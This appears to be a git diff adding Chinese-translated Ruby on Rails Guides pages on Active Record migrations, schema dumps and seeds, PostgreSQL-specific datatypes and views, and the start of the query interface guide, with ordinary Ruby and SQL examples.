重置数据库和运行所有迁移是不一样的。重置数据库只使用当前的 db/schema.rbdb/structure.sql 文件的内容。如果迁移无法回滚,使用 rails db:reset 任务可能也没用。关于转储数据库模式的更多介绍,请参阅 数据库模式转储

4.4 运行指定迁移

要想运行或撤销指定迁移,可以使用 db:migrate:updb:migrate:down 任务。只需指定版本,对应迁移就会调用它的 changeupdown 方法,例如:

+
+$ bin/rails db:migrate:up VERSION=20080906120000
+
+
+
+

上面的命令会运行 20080906120000 这个迁移,调用它的 changeup 方法。db:migrate:up 任务会检查指定迁移是否已经运行过,如果已经运行过就不会执行任何操作。

4.5 在不同环境中运行迁移

bin/rails db:migrate 任务默认在开发环境中运行迁移。要想在其他环境中运行迁移,可以在执行任务时使用 RAILS_ENV 环境变量说明所需环境。例如,要想在测试环境中运行迁移,可以执行下面的命令:

+
+$ bin/rails db:migrate RAILS_ENV=test
+
+
+
+

4.6 修改迁移运行时的输出

运行迁移时,默认会输出正在进行的操作,以及操作所花费的时间。例如,创建数据表并添加索引的迁移在运行时会生成下面的输出:

+
+==  CreateProducts: migrating =================================================
+-- create_table(:products)
+   -> 0.0028s
+==  CreateProducts: migrated (0.0028s) ========================================
+
+
+
+

在迁移中提供了几种方法,允许我们修改迁移运行时的输出:

例如,下面的迁移:

+
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    suppress_messages do
+      create_table :products do |t|
+        t.string :name
+        t.text :description
+        t.timestamps
+      end
+    end
+
+    say "Created a table"
+
+    suppress_messages {add_index :products, :name}
+    say "and an index!", true
+
+    say_with_time 'Waiting for a while' do
+      sleep 10
+      250
+    end
+  end
+end
+
+
+
+

会生成下面的输出:

+
+==  CreateProducts: migrating =================================================
+-- Created a table
+   -> and an index!
+-- Waiting for a while
+   -> 10.0013s
+   -> 250 rows
+==  CreateProducts: migrated (10.0054s) =======================================
+
+
+
+

要是不想让 Active Record 生成任何输出,可以使用 rails db:migrate VERBOSE=false

5 修改现有的迁移

在编写迁移时我们偶尔也会犯错误。如果已经运行过存在错误的迁移,那么直接修正迁移中的错误并重新运行这个迁移并不能解决问题:Rails 知道这个迁移已经运行过,因此执行 rails db:migrate 任务时不会执行任何操作。必须先回滚这个迁移(例如通过执行 bin/rails db:rollback 任务),再修正迁移中的错误,然后执行 rails db:migrate 任务来运行这个迁移的正确版本。

通常,直接修改现有的迁移不是个好主意。这样做会给我们和同事带来额外的工作量,如果这个迁移已经在生产服务器上运行过,还可能带来大麻烦。作为替代,可以编写一个新的迁移来执行我们想要的操作。修改还未提交到源代版本码控制系统(或者更一般地,还未传播到开发设备之外)的新生成的迁移是相对无害的。

在编写新的迁移来完全或部分撤销之前的迁移时,可以使用 revert 方法(请参阅前面 撤销之前的迁移)。

6 数据库模式转储

6.1 数据库模式文件有什么用?

迁移尽管很强大,但并非数据库模式的可信来源。Active Record 通过检查数据库生成的 db/schema.rb 文件或 SQL 文件才是数据库模式的可信来源。这两个可信来源不应该被修改,它们仅用于表示数据库的当前状态。

当需要部署 Rails 应用的新实例时,不必把所有迁移重新运行一遍,直接加载当前数据库的模式文件要简单和快速得多。

例如,我们可以这样创建测试数据库:把当前的开发数据库转储为 db/schema.rbdb/structure.sql 文件,然后加载到测试数据库。

数据库模式文件还可以用于快速查看 Active Record 对象具有的属性。这些属性信息不仅在模型代码中找不到,而且经常分散在几个迁移文件中,还好在数据库模式文件中可以很容易地查看这些信息。annotate_models gem 会在每个模型文件的顶部自动添加和更新注释,这些注释是对当前数据库模式的概述,如果需要可以使用这个 gem。

6.2 数据库模式转储的类型

数据库模式转储有两种方式,可以通过 config/application.rb 文件的 config.active_record.schema_format 选项来设置想要采用的方式,即 :sql:ruby

如果选择 :ruby,那么数据库模式会储存在 db/schema.rb 文件中。打开这个文件,会看到内容很多,就像一个巨大的迁移:

+
+ActiveRecord::Schema.define(version: 20080906171750) do
+  create_table "authors", force: true do |t|
+    t.string   "name"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+  end
+
+  create_table "products", force: true do |t|
+    t.string   "name"
+    t.text     "description"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+    t.string   "part_number"
+  end
+end
+
+
+
+

在很多情况下,我们看到的数据库模式文件就是上面这个样子。这个文件是通过检查数据库生成的,使用 create_tableadd_index 等方法来表达数据库结构。这个文件是数据库无关的,因此可以加载到 Active Record 支持的任何一种数据库。如果想要分发使用多数据库的 Rails 应用,数据库无关这一特性就非常有用了。

尽管如此,db/schema.rb 在设计上也有所取舍:它不能表达数据库的特定项目,如触发器、存储过程或检查约束。尽管我们可以在迁移中执行定制的 SQL 语句,但是数据库模式转储工具无法从数据库中复原这些语句。如果我们使用了这类特性,就应该把数据库模式的格式设置为 :sql

在把数据库模式转储到 db/structure.sql 文件时,我们不使用数据库模式转储工具,而是使用数据库特有的工具(通过执行 db:structure:dump 任务)。例如,对于 PostgreSQL,使用的是 pg_dump 实用程序。对于 MySQL 和 MariaDB,db/structure.sql 文件将包含各种数据表的 SHOW CREATE TABLE 语句的输出。

加载数据库模式实际上就是执行其中包含的 SQL 语句。根据定义,加载数据库模式会创建数据库结构的完美拷贝。:sql 格式的数据库模式,只能加载到和原有数据库类型相同的数据库,而不能加载到其他类型的数据库。

6.3 数据库模式转储和源码版本控制

数据库模式转储是数据库模式的可信来源,因此强烈建议将其纳入源码版本控制。

db/schema.rb 文件包含数据库的当前版本号,这样可以确保在合并两个包含数据库模式文件的分支时会发生冲突。一旦出现这种情况,就需要手动解决冲突,保留版本较高的那个数据库模式文件。

7 Active Record 和引用完整性

Active Record 在模型而不是数据库中声明关联。因此,像触发器、约束这些依赖数据库的特性没有被大量使用。

验证,如 validates :foreign_key, uniqueness: true,是模型强制数据完整性的一种方式。在关联中设置 :dependent 选项,可以保证父对象删除后,子对象也会被删除。和其他应用层的操作一样,这些操作无法保证引用完整性,因此有些人会在数据库中使用外键约束以加强数据完整性。

尽管 Active Record 并未提供用于直接处理这些特性的工具,但 execute 方法可以用于执行任意 SQL。

8 迁移和种子数据

Rails 迁移特性的主要用途是使用一致的进程调用修改数据库模式的命令。迁移还可以用于添加或修改数据。对于不能删除和重建的数据库,如生产数据库,这些功能非常有用。

+
+class AddInitialProducts < ActiveRecord::Migration[5.0]
+  def up
+    5.times do |i|
+      Product.create(name: "Product ##{i}", description: "A product.")
+    end
+  end
+
+  def down
+    Product.delete_all
+  end
+end
+
+
+
+

使用 Rails 内置的“种子”特性可以快速简便地完成创建数据库后添加初始数据的任务。在开发和测试环境中,经常需要重新加载数据库,这时“种子”特性就更有用了。使用“种子”特性很容易,只要用 Ruby 代码填充 db/seeds.rb 文件,然后执行 rails db:seed 命令即可:

+
+5.times do |i|
+  Product.create(name: "Product ##{i}", description: "A product.")
+end
+
+
+
+

相比之下,这种设置新建应用数据库的方法更加干净利落。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/active_record_postgresql.html b/active_record_postgresql.html new file mode 100644 index 0000000..653e3ed --- /dev/null +++ b/active_record_postgresql.html @@ -0,0 +1,747 @@ + + + + + + + +Active Record and PostgreSQL — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Active Record and PostgreSQL

This guide covers PostgreSQL specific usage of Active Record.

After reading this guide, you will know:

+
    +
  • How to use PostgreSQL's datatypes.
  • +
  • How to use UUID primary keys.
  • +
  • How to implement full text search with PostgreSQL.
  • +
  • How to back your Active Record models with database views.
  • +
+ + + + +
+
+ +
+
+
+

In order to use the PostgreSQL adapter you need to have at least version 9.1 +installed. Older versions are not supported.

To get started with PostgreSQL have a look at the +configuring Rails guide. +It describes how to properly setup Active Record for PostgreSQL.

1 Datatypes

PostgreSQL offers a number of specific datatypes. Following is a list of types, +that are supported by the PostgreSQL adapter.

1.1 Bytea

+ +
+
+# db/migrate/20140207133952_create_documents.rb
+create_table :documents do |t|
+  t.binary 'payload'
+end
+
+# app/models/document.rb
+class Document < ApplicationRecord
+end
+
+# Usage
+data = File.read(Rails.root + "tmp/output.pdf")
+Document.create payload: data
+
+
+
+

1.2 Array

+ +
+
+# db/migrate/20140207133952_create_books.rb
+create_table :books do |t|
+  t.string 'title'
+  t.string 'tags', array: true
+  t.integer 'ratings', array: true
+end
+add_index :books, :tags, using: 'gin'
+add_index :books, :ratings, using: 'gin'
+
+# app/models/book.rb
+class Book < ApplicationRecord
+end
+
+# Usage
+Book.create title: "Brave New World",
+            tags: ["fantasy", "fiction"],
+            ratings: [4, 5]
+
+## Books for a single tag
+Book.where("'fantasy' = ANY (tags)")
+
+## Books for multiple tags
+Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"])
+
+## Books with 3 or more ratings
+Book.where("array_length(ratings, 1) >= 3")
+
+
+
+

1.3 Hstore

+ +

You need to enable the hstore extension to use hstore.

+
+# db/migrate/20131009135255_create_profiles.rb
+ActiveRecord::Schema.define do
+  enable_extension 'hstore' unless extension_enabled?('hstore')
+  create_table :profiles do |t|
+    t.hstore 'settings'
+  end
+end
+
+# app/models/profile.rb
+class Profile < ApplicationRecord
+end
+
+# Usage
+Profile.create(settings: { "color" => "blue", "resolution" => "800x600" })
+
+profile = Profile.first
+profile.settings # => {"color"=>"blue", "resolution"=>"800x600"}
+
+profile.settings = {"color" => "yellow", "resolution" => "1280x1024"}
+profile.save!
+
+Profile.where("settings->'color' = ?", "yellow")
+#=> #<ActiveRecord::Relation [#<Profile id: 1, settings: {"color"=>"yellow", "resolution"=>"1280x1024"}>]>
+
+
+
+

1.4 JSON

+ +
+
+# db/migrate/20131220144913_create_events.rb
+create_table :events do |t|
+  t.json 'payload'
+end
+
+# app/models/event.rb
+class Event < ApplicationRecord
+end
+
+# Usage
+Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]})
+
+event = Event.first
+event.payload # => {"kind"=>"user_renamed", "change"=>["jack", "john"]}
+
+## Query based on JSON document
+# The -> operator returns the original JSON type (which might be an object), whereas ->> returns text
+Event.where("payload->>'kind' = ?", "user_renamed")
+
+
+
+

1.5 Range Types

+ +

This type is mapped to Ruby Range objects.

+
+# db/migrate/20130923065404_create_events.rb
+create_table :events do |t|
+  t.daterange 'duration'
+end
+
+# app/models/event.rb
+class Event < ApplicationRecord
+end
+
+# Usage
+Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12))
+
+event = Event.first
+event.duration # => Tue, 11 Feb 2014...Thu, 13 Feb 2014
+
+## All Events on a given date
+Event.where("duration @> ?::date", Date.new(2014, 2, 12))
+
+## Working with range bounds
+event = Event.
+  select("lower(duration) AS starts_at").
+  select("upper(duration) AS ends_at").first
+
+event.starts_at # => Tue, 11 Feb 2014
+event.ends_at # => Thu, 13 Feb 2014
+
+
+
+

1.6 Composite Types

+ +

Currently there is no special support for composite types. They are mapped to +normal text columns:

+
+CREATE TYPE full_address AS
+(
+  city VARCHAR(90),
+  street VARCHAR(90)
+);
+
+
+
+
+
+# db/migrate/20140207133952_create_contacts.rb
+execute <<-SQL
+ CREATE TYPE full_address AS
+ (
+   city VARCHAR(90),
+   street VARCHAR(90)
+ );
+SQL
+create_table :contacts do |t|
+  t.column :address, :full_address
+end
+
+# app/models/contact.rb
+class Contact < ApplicationRecord
+end
+
+# Usage
+Contact.create address: "(Paris,Champs-Élysées)"
+contact = Contact.first
+contact.address # => "(Paris,Champs-Élysées)"
+contact.address = "(Paris,Rue Basse)"
+contact.save!
+
+
+
+

1.7 Enumerated Types

+ +

Currently there is no special support for enumerated types. They are mapped as +normal text columns:

+
+# db/migrate/20131220144913_create_articles.rb
+def up
+  execute <<-SQL
+    CREATE TYPE article_status AS ENUM ('draft', 'published');
+  SQL
+  create_table :articles do |t|
+    t.column :status, :article_status
+  end
+end
+
+# NOTE: It's important to drop table before dropping enum.
+def down
+  drop_table :articles
+
+  execute <<-SQL
+    DROP TYPE article_status;
+  SQL
+end
+
+# app/models/article.rb
+class Article < ApplicationRecord
+end
+
+# Usage
+Article.create status: "draft"
+article = Article.first
+article.status # => "draft"
+
+article.status = "published"
+article.save!
+
+
+
+

To add a new value before/after existing one you should use ALTER TYPE:

+
+# db/migrate/20150720144913_add_new_state_to_articles.rb
+# NOTE: ALTER TYPE ... ADD VALUE cannot be executed inside of a transaction block so here we are using disable_ddl_transaction!
+disable_ddl_transaction!
+
+def up
+  execute <<-SQL
+    ALTER TYPE article_status ADD VALUE IF NOT EXISTS 'archived' AFTER 'published';
+  SQL
+end
+
+
+
+

ENUM values can't be dropped currently. You can read why here.

Hint: to show all the values of the all enums you have, you should call this query in bin/rails db or psql console:

+
+SELECT n.nspname AS enum_schema,
+       t.typname AS enum_name,
+       e.enumlabel AS enum_value
+  FROM pg_type t
+      JOIN pg_enum e ON t.oid = e.enumtypid
+      JOIN pg_catalog.pg_namespace n ON n.oid = t.typnamespace
+
+
+
+

1.8 UUID

+ +

You need to enable the pgcrypto (only PostgreSQL >= 9.4) or uuid-ossp +extension to use uuid.

+
+# db/migrate/20131220144913_create_revisions.rb
+create_table :revisions do |t|
+  t.uuid :identifier
+end
+
+# app/models/revision.rb
+class Revision < ApplicationRecord
+end
+
+# Usage
+Revision.create identifier: "A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"
+
+revision = Revision.first
+revision.identifier # => "a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11"
+
+
+
+

You can use uuid type to define references in migrations:

+
+# db/migrate/20150418012400_create_blog.rb
+enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
+create_table :posts, id: :uuid, default: 'gen_random_uuid()'
+
+create_table :comments, id: :uuid, default: 'gen_random_uuid()' do |t|
+  # t.belongs_to :post, type: :uuid
+  t.references :post, type: :uuid
+end
+
+# app/models/post.rb
+class Post < ApplicationRecord
+  has_many :comments
+end
+
+# app/models/comment.rb
+class Comment < ApplicationRecord
+  belongs_to :post
+end
+
+
+
+

See this section for more details on using UUIDs as primary key.

1.9 Bit String Types

+ +
+
+# db/migrate/20131220144913_create_users.rb
+create_table :users, force: true do |t|
+  t.column :settings, "bit(8)"
+end
+
+# app/models/device.rb
+class User < ApplicationRecord
+end
+
+# Usage
+User.create settings: "01010011"
+user = User.first
+user.settings # => "01010011"
+user.settings = "0xAF"
+user.settings # => 10101111
+user.save!
+
+
+
+

1.10 Network Address Types

+ +

The types inet and cidr are mapped to Ruby +IPAddr +objects. The macaddr type is mapped to normal text.

+
+# db/migrate/20140508144913_create_devices.rb
+create_table(:devices, force: true) do |t|
+  t.inet 'ip'
+  t.cidr 'network'
+  t.macaddr 'address'
+end
+
+# app/models/device.rb
+class Device < ApplicationRecord
+end
+
+# Usage
+macbook = Device.create(ip: "192.168.1.12",
+                        network: "192.168.2.0/24",
+                        address: "32:01:16:6d:05:ef")
+
+macbook.ip
+# => #<IPAddr: IPv4:192.168.1.12/255.255.255.255>
+
+macbook.network
+# => #<IPAddr: IPv4:192.168.2.0/255.255.255.0>
+
+macbook.address
+# => "32:01:16:6d:05:ef"
+
+
+
+

1.11 Geometric Types

+ +

All geometric types, with the exception of points are mapped to normal text. +A point is casted to an array containing x and y coordinates.

2 UUID Primary Keys

You need to enable the pgcrypto (only PostgreSQL >= 9.4) or uuid-ossp +extension to generate random UUIDs.

+
+# db/migrate/20131220144913_create_devices.rb
+enable_extension 'pgcrypto' unless extension_enabled?('pgcrypto')
+create_table :devices, id: :uuid, default: 'gen_random_uuid()' do |t|
+  t.string :kind
+end
+
+# app/models/device.rb
+class Device < ApplicationRecord
+end
+
+# Usage
+device = Device.create
+device.id # => "814865cd-5a1d-4771-9306-4268f188fe9e"
+
+
+
+

uuid_generate_v4() (from uuid-ossp) is assumed if no :default option was +passed to create_table.

+
+# db/migrate/20131220144913_create_documents.rb
+create_table :documents do |t|
+  t.string 'title'
+  t.string 'body'
+end
+
+execute "CREATE INDEX documents_idx ON documents USING gin(to_tsvector('english', title || ' ' || body));"
+
+# app/models/document.rb
+class Document < ApplicationRecord
+end
+
+# Usage
+Document.create(title: "Cats and Dogs", body: "are nice!")
+
+## all documents matching 'cat & dog'
+Document.where("to_tsvector('english', title || ' ' || body) @@ to_tsquery(?)",
+                 "cat & dog")
+
+
+
+

4 Database Views

+ +

Imagine you need to work with a legacy database containing the following table:

+
+rails_pg_guide=# \d "TBL_ART"
+                                        Table "public.TBL_ART"
+   Column   |            Type             |                         Modifiers
+------------+-----------------------------+------------------------------------------------------------
+ INT_ID     | integer                     | not null default nextval('"TBL_ART_INT_ID_seq"'::regclass)
+ STR_TITLE  | character varying           |
+ STR_STAT   | character varying           | default 'draft'::character varying
+ DT_PUBL_AT | timestamp without time zone |
+ BL_ARCH    | boolean                     | default false
+Indexes:
+    "TBL_ART_pkey" PRIMARY KEY, btree ("INT_ID")
+
+
+
+

This table does not follow the Rails conventions at all. +Because simple PostgreSQL views are updateable by default, +we can wrap it as follows:

+
+# db/migrate/20131220144913_create_articles_view.rb
+execute <<-SQL
+CREATE VIEW articles AS
+  SELECT "INT_ID" AS id,
+         "STR_TITLE" AS title,
+         "STR_STAT" AS status,
+         "DT_PUBL_AT" AS published_at,
+         "BL_ARCH" AS archived
+  FROM "TBL_ART"
+  WHERE "BL_ARCH" = 'f'
+  SQL
+
+# app/models/article.rb
+class Article < ApplicationRecord
+  self.primary_key = "id"
+  def archive!
+    update_attribute :archived, true
+  end
+end
+
+# Usage
+first = Article.create! title: "Winter is coming",
+                        status: "published",
+                        published_at: 1.year.ago
+second = Article.create! title: "Brace yourself",
+                         status: "draft",
+                         published_at: 1.month.ago
+
+Article.count # => 1
+first.archive!
+Article.count # => 2
+
+
+
+

This application only cares about non-archived Articles. A view also +allows for conditions so we can exclude the archived Articles directly.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/active_record_querying.html b/active_record_querying.html new file mode 100644 index 0000000..abf4524 --- /dev/null +++ b/active_record_querying.html @@ -0,0 +1,1957 @@ + + + + + + + +Active Record 查询接口 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Active Record 查询接口

本文介绍使用 Active Record 从数据库中检索数据的不同方法。

读完本文后,您将学到:

+
    +
  • 如何使用各种方法和条件查找记录;
  • +
  • 如何指定所查找记录的排序方式、想要检索的属性、分组方式和其他特性;
  • +
  • 如何使用预先加载以减少数据检索所需的数据库查询的数量;
  • +
  • 如何使用动态查找方法;
  • +
  • 如何通过方法链来连续使用多个 Active Record 方法;
  • +
  • 如何检查某个记录是否存在;
  • +
  • 如何在 Active Record 模型上做各种计算;
  • +
  • 如何在关联上执行 EXPLAIN 命令。
  • +
+ + + + +
+
+ +
+
+
+

如果你习惯直接使用 SQL 来查找数据库记录,那么你通常会发现 Rails 为执行相同操作提供了更好的方式。在大多数情况下,Active Record 使你无需使用 SQL。

本文中的示例代码会用到下面的一个或多个模型:

除非另有说明,下面所有模型都使用 id 作为主键。

+
+class Client < ApplicationRecord
+  has_one :address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end
+
+
+
+
+
+class Address < ApplicationRecord
+  belongs_to :client
+end
+
+
+
+
+
+class Order < ApplicationRecord
+  belongs_to :client, counter_cache: true
+end
+
+
+
+
+
+class Role < ApplicationRecord
+  has_and_belongs_to_many :clients
+end
+
+
+
+

Active Record 会为你执行数据库查询,它和大多数数据库系统兼容,包括 MySQL、MariaDB、PostgreSQL 和 SQLite。不管使用哪个数据库系统,Active Record 方法的用法总是相同的。

1 从数据库中检索对象

Active Record 提供了几个用于从数据库中检索对象的查找方法。查找方法接受参数并执行指定的数据库查询,使我们无需直接编写 SQL。

下面列出这些查找方法:

+
    +
  • find +
  • +
  • create_with +
  • +
  • distinct +
  • +
  • eager_load +
  • +
  • extending +
  • +
  • from +
  • +
  • group +
  • +
  • having +
  • +
  • includes +
  • +
  • joins +
  • +
  • left_outer_joins +
  • +
  • limit +
  • +
  • lock +
  • +
  • none +
  • +
  • offset +
  • +
  • order +
  • +
  • preload +
  • +
  • readonly +
  • +
  • references +
  • +
  • reorder +
  • +
  • reverse_order +
  • +
  • select +
  • +
  • where +
  • +
+

返回集合的查找方法,如 wheregroup,返回一个 ActiveRecord::Relation 实例。查找单个记录的方法,如 findfirst,返回相应模型的一个实例。

Model.find(options) 执行的主要操作可以概括为:

+
    +
  • 把提供的选项转换为等价的 SQL 查询。
  • +
  • 触发 SQL 查询并从数据库中检索对应的结果。
  • +
  • 为每个查询结果实例化对应的模型对象。
  • +
  • 当存在回调时,先调用 after_find 回调再调用 after_initialize 回调。
  • +
+

1.1 检索单个对象

Active Record 为检索单个对象提供了几个不同的方法。

1.1.1 find 方法

可以使用 find 方法检索指定主键对应的对象,指定主键时可以使用多个选项。例如:

+
+# 查找主键(ID)为 10 的客户
+client = Client.find(10)
+# => #<Client id: 10, first_name: "Ryan">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
+
+
+
+

如果没有找到匹配的记录,find 方法抛出 ActiveRecord::RecordNotFound 异常。

还可以使用 find 方法查询多个对象,方法是调用 find 方法并传入主键构成的数组。返回值是包含所提供的主键的所有匹配记录的数组。例如:

+
+# 查找主键为 1 和 10 的客户
+client = Client.find([1, 10]) # Or even Client.find(1, 10)
+# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+
+
+
+

如果所提供的主键都没有匹配记录,那么 find 方法会抛出 ActiveRecord::RecordNotFound 异常。

1.1.2 take 方法

take 方法检索一条记录而不考虑排序。例如:

+
+client = Client.take
+# => #<Client id: 1, first_name: "Lifo">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients LIMIT 1
+
+
+
+

如果没有找到记录,take 方法返回 nil,而不抛出异常。

take 方法接受数字作为参数,并返回不超过指定数量的查询结果。例如:

+
+client = Client.take(2)
+# => [
+#   #<Client id: 1, first_name: "Lifo">,
+#   #<Client id: 220, first_name: "Sara">
+# ]
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients LIMIT 2
+
+
+
+

take! 方法的行为和 take 方法类似,区别在于如果没有找到匹配的记录,take! 方法抛出 ActiveRecord::RecordNotFound 异常。

对于不同的数据库引擎,take 方法检索的记录可能不一样。

1.1.3 first 方法

first 方法默认查找按主键排序的第一条记录。例如:

+
+client = Client.first
+# => #<Client id: 1, first_name: "Lifo">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+
+
+
+

如果没有找到匹配的记录,first 方法返回 nil,而不抛出异常。

如果默认作用域 (请参阅 应用默认作用域)包含排序方法,first 方法会返回按照这个顺序排序的第一条记录。

first 方法接受数字作为参数,并返回不超过指定数量的查询结果。例如:

+
+client = Client.first(3)
+# => [
+#   #<Client id: 1, first_name: "Lifo">,
+#   #<Client id: 2, first_name: "Fifo">,
+#   #<Client id: 3, first_name: "Filo">
+# ]
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3
+
+
+
+

对于使用 order 排序的集合,first 方法返回按照指定属性排序的第一条记录。例如:

+
+client = Client.order(:first_name).first
+# => #<Client id: 2, first_name: "Fifo">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.first_name ASC LIMIT 1
+
+
+
+

first! 方法的行为和 first 方法类似,区别在于如果没有找到匹配的记录,first! 方法会抛出 ActiveRecord::RecordNotFound 异常。

1.1.4 last 方法

last 方法默认查找按主键排序的最后一条记录。例如:

+
+client = Client.last
+# => #<Client id: 221, first_name: "Russel">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+
+
+
+

如果没有找到匹配的记录,last 方法返回 nil,而不抛出异常。

如果默认作用域 (请参阅 应用默认作用域)包含排序方法,last 方法会返回按照这个顺序排序的最后一条记录。

last 方法接受数字作为参数,并返回不超过指定数量的查询结果。例如:

+
+client = Client.last(3)
+# => [
+#   #<Client id: 219, first_name: "James">,
+#   #<Client id: 220, first_name: "Sara">,
+#   #<Client id: 221, first_name: "Russel">
+# ]
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3
+
+
+
+

对于使用 order 排序的集合,last 方法返回按照指定属性排序的最后一条记录。例如:

+
+client = Client.order(:first_name).last
+# => #<Client id: 220, first_name: "Sara">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.first_name DESC LIMIT 1
+
+
+
+

last! 方法的行为和 last 方法类似,区别在于如果没有找到匹配的记录,last! 方法会抛出 ActiveRecord::RecordNotFound 异常。

1.1.5 find_by 方法

find_by 方法查找匹配指定条件的第一条记录。 例如:

+
+Client.find_by first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by first_name: 'Jon'
+# => nil
+
+
+
+

上面的代码等价于:

+
+Client.where(first_name: 'Lifo').take
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients WHERE (clients.first_name = 'Lifo') LIMIT 1
+
+
+
+

find_by! 方法的行为和 find_by 方法类似,区别在于如果没有找到匹配的记录,find_by! 方法会抛出 ActiveRecord::RecordNotFound 异常。例如:

+
+Client.find_by! first_name: 'does not exist'
+# => ActiveRecord::RecordNotFound
+
+
+
+

上面的代码等价于:

+
+Client.where(first_name: 'does not exist').take!
+
+
+
+

1.2 批量检索多个对象

我们常常需要遍历大量记录,例如向大量用户发送时事通讯、导出数据等。

处理这类问题的方法看起来可能很简单:

+
+# 如果表中记录很多,可能消耗大量内存
+User.all.each do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+

但随着数据表越来越大,这种方法越来越行不通,因为 User.all.each 会使 Active Record 一次性取回整个数据表,为每条记录创建模型对象,并把整个模型对象数组保存在内存中。事实上,如果我们有大量记录,整个模型对象数组需要占用的空间可能会超过可用的内存容量。

Rails 提供了两种方法来解决这个问题,两种方法都是把整个记录分成多个对内存友好的批处理。第一种方法是通过 find_each 方法每次检索一批记录,然后逐一把每条记录作为模型传入块。第二种方法是通过 find_in_batches 方法每次检索一批记录,然后把这批记录整个作为模型数组传入块。

find_eachfind_in_batches 方法用于大量记录的批处理,这些记录数量很大以至于不适合一次性保存在内存中。如果只需要循环 1000 条记录,那么应该首选常规的 find 方法。

1.2.1 find_each 方法

find_each 方法批量检索记录,然后逐一把每条记录作为模型传入块。在下面的例子中,find_each 方法取回 1000 条记录,然后逐一把每条记录作为模型传入块。

+
+User.find_each do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+

这一过程会不断重复,直到处理完所有记录。

如前所述,find_each 能处理模型类,此外它还能处理关系:

+
+User.where(weekly_subscriber: true).find_each do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+

前提是关系不能有顺序,因为这个方法在迭代时有既定的顺序。

如果接收者定义了顺序,具体行为取决于 config.active_record.error_on_ignored_order 旗标。设为 true 时,抛出 ArgumentError 异常,否则忽略顺序,发出提醒(这是默认设置)。这一行为可使用 :error_on_ignore 选项覆盖,详情参见下文。

:batch_size

:batch_size 选项用于指明批量检索记录时一次检索多少条记录。例如,一次检索 5000 条记录:

+
+User.find_each(batch_size: 5000) do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+

:start

记录默认是按主键的升序方式取回的,这里的主键必须是整数。:start 选项用于配置想要取回的记录序列的第一个 ID,比这个 ID 小的记录都不会取回。这个选项有时候很有用,例如当需要恢复之前中断的批处理时,只需从最后一个取回的记录之后开始继续处理即可。

下面的例子把时事通讯发送给主键从 2000 开始的用户:

+
+User.find_each(start: 2000) do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+

:finish

:start 选项类似,:finish 选项用于配置想要取回的记录序列的最后一个 ID,比这个 ID 大的记录都不会取回。这个选项有时候很有用,例如可以通过配置 :start:finish 选项指明想要批处理的子记录集。

下面的例子把时事通讯发送给主键从 2000 到 10000 的用户:

+
+User.find_each(start: 2000, finish: 10000) do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+

另一个例子是使用多个职程(worker)处理同一个进程队列。通过分别配置 :start:finish 选项可以让每个职程每次都处理 10000 条记录。

:error_on_ignore

覆盖应用的配置,指定有顺序的关系是否抛出异常。

1.2.2 find_in_batches 方法

